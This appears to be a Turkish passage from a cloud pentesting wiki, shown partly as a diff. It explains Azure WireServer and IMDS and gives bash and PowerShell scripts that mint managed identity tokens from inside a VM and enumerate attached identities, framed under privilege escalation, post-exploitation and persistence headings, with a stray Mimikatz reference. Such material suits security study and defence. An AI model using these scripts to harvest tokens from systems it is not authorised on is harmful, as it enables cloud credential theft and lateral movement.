### Wire Server (Azure Fabric Endpoint)
**Azure WireServer**, platformun VM ile iletişim kurmak için kullandığı dahili bir Azure IP'sidir (`168.63.129.16`).
Şunlardan sorumludur:
- **VM Agent** ile iletişim
- Şunların iletilmesi:
- **GoalState**
- **ExtensionsConfig**
- Dahili VM yapılandırması (identities dahil)
- DHCP & DNS hizmetleri
- Health monitoring
### GoalState & ExtensionsConfig
**GoalState**, Azure tarafından tanımlanan **VM'nin istenen yapılandırmasını** temsil eder. Şunları içerebilir:
- Extensions configuration
- Managed identities
- Provisioning state
- Agent instructions
**ExtensionsConfig**, VM extensions için ayrıntılı yapılandırma içerir ve şunları içerebilir:
- **User Assigned Managed Identities**
- Extension ayarları
- Secrets (extension'a bağlı olarak)
Bu endpoint'lere genellikle şu şekilde erişilir:
```bash
curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate
```
### Access considerations
WireServer IPsine genellikle VM içindeki guest network stack üzerinden erişilebilir. Bu yalnızca Azure VM Agent, Run Command veya VM extensions ile sınırlı değildir. Microsoft, sıradan in-guest scriptlerin `168.63.129.16` adresinden doğrudan GoalState sorguladığı agentless Linux provisioning örneklerini bile dokümante eder.
Ancak her proses mutlaka aynı pratik sonucu vermez:
- Bazı endpointler, GoalState için `x-ms-version: 2012-11-30` gibi Azure-özgü headerlar ister.
- Host firewall kuralları, proxyler, routelar, network namespaceler, containers veya endpoint protection dahil olmak üzere lokal guest kontroller erişimi engelleyebilir ya da değiştirebilir.
- VM extensions ve Run Command çoğunlukla VM Agent üzerinden `root`/`SYSTEM` olarak çalışır, bu yüzden interaktif bir kullanıcıyı etkileyen lokal OS kısıtlamalarını aşabilirler.
- Bazı veriler agent/extensiona özeldir ve VMnin provisioning durumuna, kurulu agenta, yapılandırılmış extensionsa veya managed identity konfigürasyonuna bağlı olabilir.
Bu nedenle, bir request Run Commanddan çalışıp SSHden başarısız oluyorsa, genelde açıklama OS user, environment, routing, proxy, firewall veya namespace farkıdır; yalnızca agent execution contextlerinin `168.63.129.16` adresine erişebileceğine dair genel bir Azure kuralı değildir.
Lab testlerinde bu ayrım görünüyordu: Run Command veya Custom Script extensions üzerinden Linux/Windows VM Agent execution, `168.63.129.16` üzerindeki GoalStatee erişebiliyordu; başka bir Linux VMdeki normal bir SSH session ise IMDSye erişebiliyor ama GoalState sorgulanınca timeout alıyordu. WireServer/GoalStatei faydalı ama environment-dependent olarak değerlendirin; managed identities enumerasyonu için kanonik yol olarak buna güvenmeyin.
### Managed Identity Access From Inside the VM
Bir VMnin managed identitieslerini kullanmanın güvenilir yolu, WireServer `ExtensionsConfig` XMLi değil, `169.254.169.254` üzerindeki **IMDS managed identity endpoint**idir. Sadece `ExtensionsConfig` içinde `UserAssignedIdentity` nodelarını arayan scriptler güvenilir değildir çünkü:
- VMnin managed identity assignmenti extension XML içinde `UserAssignedIdentity` nodeları olarak temsil edilmek zorunda değildir.
- **system-assigned managed identities**leri kaçırırlar.
- Sadece mevcut GoalState/extension data beklenen XML yapısını sunuyorsa user-assigned identityleri bulurlar.
Microsoftun dokümante ettiği security model, **VM üzerinde çalışan tüm codeların o VMde bulunan managed identityler için token isteyebileceği** yönündedir. Bu şu ortamlardan doğrulandı:
- Linux SSH ile normal bir VM user olarak.
- VM Agent üzerinden Linux Run Command ile.
- VM Agent üzerinden Linux Custom Script extension ile.
- `NT AUTHORITY\SYSTEM` olarak Windows Custom Script extension ile.
Bu bağlamların hepsinde, istenen identity VM için mevcut olduğunda IMDS; Management, Microsoft Graph/Entra ID, Key Vault ve Storage için token mint edebiliyordu.
Birbiriyle karıştırılması kolay iki farklı problem vardır:
- **Bilinen bir identity için token almak:** Identity VMye atanmışsa, IMDS `https://management.azure.com/`, `https://graph.microsoft.com/`, `https://vault.azure.net` ve `https://storage.azure.com/` gibi farklı audiencelar için token verebilir. Birden fazla user-assigned identity varsa, belirli bir tanesini `client_id`, `object_id` veya `msi_res_id` ile isteyin.
- **VM içinden bağlı tüm identityleri keşfetmek:** IMDS basit bir "list all identities" endpointi sağlamaz. Pratik bir yöntem, varsayılan bir Management token almak, VM resourceunu ARM üzerinden okumak ve `identity` propertysini incelemektir. Bu yalnızca o managed identitynin VM üzerinde `Microsoft.Compute/virtualMachines/read` gibi izinleri varsa çalışır. ARM `403` dönerse, token hâlâ geçerli ve faydalı olabilir, ancak VMnin tüm identity listesini enumerate edemez.
Eğer ARM discovery başarısız olursa, yine de identity benzeri alanları (`clientId`, `IdentityClientId`, `msi_res_id`, user-assigned identity resource IDleri) aramak için GoalState ve `http://168.63.129.16:32526/vmSettings` gibi WireServer/HostGAPlugin kaynaklarını deneyebilir ve sonra IMDSden bu selectorlarla token isteyebilirsiniz. Bu bir fallbacktir, garanti değildir: bu endpointler context-dependentdir ve hiç managed identity selector göstermeyebilir.
Aşağıdaki örnekler önce bir token ister. Ardından VM resourceunu Azure Resource Managerdan okumaya ve `identity` propertysini yazdırmaya çalışır. İkinci adım yalnızca managed identitynin VM üzerinde `Microsoft.Compute/virtualMachines/read` gibi izinleri varsa çalışır.
{{#tabs }}
{{#tab name="Linux" }}
```bash
#!/usr/bin/env bash
set -euo pipefail
imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"
# Optional. Examples:
# export MSI_SELECTOR='client_id=<client-id>'
# export MSI_SELECTOR='object_id=<principal-id>'
# export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"
urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}
token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi
echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"
access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"
TOKEN="$access_token" python3 - <<'PY'
import base64, json, os
token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))
print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f" {key}: {claims[key]}")
PY
echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"
arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi
```
{{#endtab }}
{{#tab name="Windows" }}
```powershell
$imds = "http://169.254.169.254/metadata"
$apiVersion = "2021-02-01"
$resource = "https://management.azure.com/"
# Optional. Examples:
# $env:MSI_SELECTOR = "client_id=<client-id>"
# $env:MSI_SELECTOR = "object_id=<principal-id>"
# $env:MSI_SELECTOR = "msi_res_id=/subscriptions/.../userAssignedIdentities/name"
$selector = $env:MSI_SELECTOR
function Invoke-Imds {
param([string]$Uri)
$params = @{
Method = "GET"
Uri = $Uri
Headers = @{ Metadata = "true" }
UseBasicParsing = $true
}
if ((Get-Command Invoke-RestMethod).Parameters.ContainsKey("NoProxy")) {
$params.NoProxy = $true
}
Invoke-RestMethod @params
}
function Decode-JwtPayload {
param([string]$Token)
$payload = $Token.Split(".")[1].Replace("-", "+").Replace("_", "/")
switch ($payload.Length % 4) {
2 { $payload += "==" }
3 { $payload += "=" }
}
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json
}
$encodedResource = [uri]::EscapeDataString($resource)
$tokenUri = "$imds/identity/oauth2/token?api-version=$apiVersion&resource=$encodedResource"
if ($selector) {
$tokenUri = "$tokenUri&$selector"
}
Write-Host "[*] Requesting managed identity token for: $resource"
$tokenResponse = Invoke-Imds -Uri $tokenUri
$claims = Decode-JwtPayload -Token $tokenResponse.access_token
Write-Host "[+] Token acquired"
$claims | Select-Object tid, appid, oid, xms_mirid | Format-List
Write-Host "[*] Trying to read the VM identity property through ARM..."
$compute = Invoke-Imds -Uri "$imds/instance/compute?api-version=$apiVersion"
$armUri = "https://management.azure.com$($compute.resourceId)?api-version=2024-07-01"
try {
$vm = Invoke-RestMethod -Method GET -Uri $armUri -Headers @{ Authorization = "Bearer $($tokenResponse.access_token)" } -UseBasicParsing
$vm.identity | ConvertTo-Json -Depth 20
} catch {
Write-Host "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
}
```
{{#endtab }}
{{#endtabs }}
## Yetki Yükseltme
{{#ref}}
@@ -804,13 +1021,13 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}
## Sömürü Sonrası
## Sonrası Exploitation
{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
{{#endref}}
## Süreklilik
## Persistence
{{#ref}}
../../az-persistence/az-vms-persistence.md
@@ -821,5 +1038,11 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)
- [https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)
- [https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16](https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent](https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/run-command](https://learn.microsoft.com/en-us/azure/virtual-machines/run-command)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux](https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux)
- [https://www.cybercx.com.au/blog/azure-ssrf-metadata/](https://www.cybercx.com.au/blog/azure-ssrf-metadata/)
{{#include ../../../../banners/hacktricks-training.md}}